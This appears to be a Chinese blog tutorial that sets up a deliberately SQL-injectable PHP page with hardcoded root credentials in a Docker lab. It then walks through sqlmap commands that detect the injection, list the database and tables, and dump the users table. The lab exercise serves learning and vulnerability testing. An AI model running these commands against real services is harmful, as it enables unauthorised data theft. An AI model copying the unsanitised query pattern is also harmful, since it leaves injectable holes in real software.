前言
今天来讲讲SQL注入工具,sqlmap。如何使用它来一步步爆库。
sqlmap官方地址如下。
sqlmap: automatic SQL injection and database takeover tool
前期准备,需要先安装好docker、docker-compose。
一个运行的后端服务,用于写一个存在SQL注入的请求。
如何使用docker部署php服务-CSDN博客
一、安装sqlmap
1、使用alpine镜像启动一个容器,执行如下命令。
docker run -it alpine sh
2、下载sqlmap安装包,执行如下命令。
wget https://github.com/sqlmapproject/sqlmap/tarball/master
tar -zxvf master
3、安装python,执行如下命令。
apk add --no-cache python3 py3-pip
4、检查sqlmap是否可以使用,执行如下命令。
python3 sqlmap.py --version
正常情况会返回如下内容。
5、至此sqlmap已准备就绪。
二、编写测试项目
1、写一个存在注入的请求,代码如下。
vim sql.php
<?php
try {
// 创建 PDO 实例
$pdo = new PDO('mysql:host=mysql-master;dbname=mydb', 'root', '123456.');
// 设置 PDO 错误模式为异常
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// 连接成功,执行数据库操作
echo "连接成功!";
// 示例:执行查询
$id = $_GET['id'];
$stmt = $pdo->query("SELECT * FROM users WHERE id = '${id}'");
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
// 处理查询结果
print_r($row);
}
// 关闭连接
$pdo = null;
} catch (PDOException $e) {
// 连接失败,处理异常
die("连接失败: " . $e->getMessage());
}
三、测试验证
1、尝试SQL注入,执行如下命令。
python3 sqlmap.py -u "http://test1/sql.php?id=1"
返回如下内容说明有很多注入点。
2、获取当前数据库,执行如下命令。
python3 sqlmap.py -u "http://test1/sql.php?id=1" --current-db
如上图所示,说明注入成功并且获取到当前数据库为mydb。
3、获取mydb有哪些表,执行如下命令。
python3 sqlmap.py -u "http://test1/sql.php?id=1" --tables -D mydb
如上图所示,mydb数据库有一张users表。
4、获取users表数据,执行如下命令。
python3 sqlmap.py -u "http://test1/sql.php?id=1" --dump -D mydb -T users
如上图所示,成功获取users表数据,从结果中可以看到有3条数据。
5、至此基本的SQL注入操作已讲解完成,更多的命令可以查询帮助。
python3 sqlmap.py --help
总结
今天讲了下如何通过sqlmap获取服务的数据库、表以及表数据等操作。前提是这个服务存在SQL注入的漏洞。
了解这个工具也能很好的帮助我们以验证服务是否存在SQL注入漏洞。
最后本人能力有限,还有许多不足之处还望多多指教,谢谢。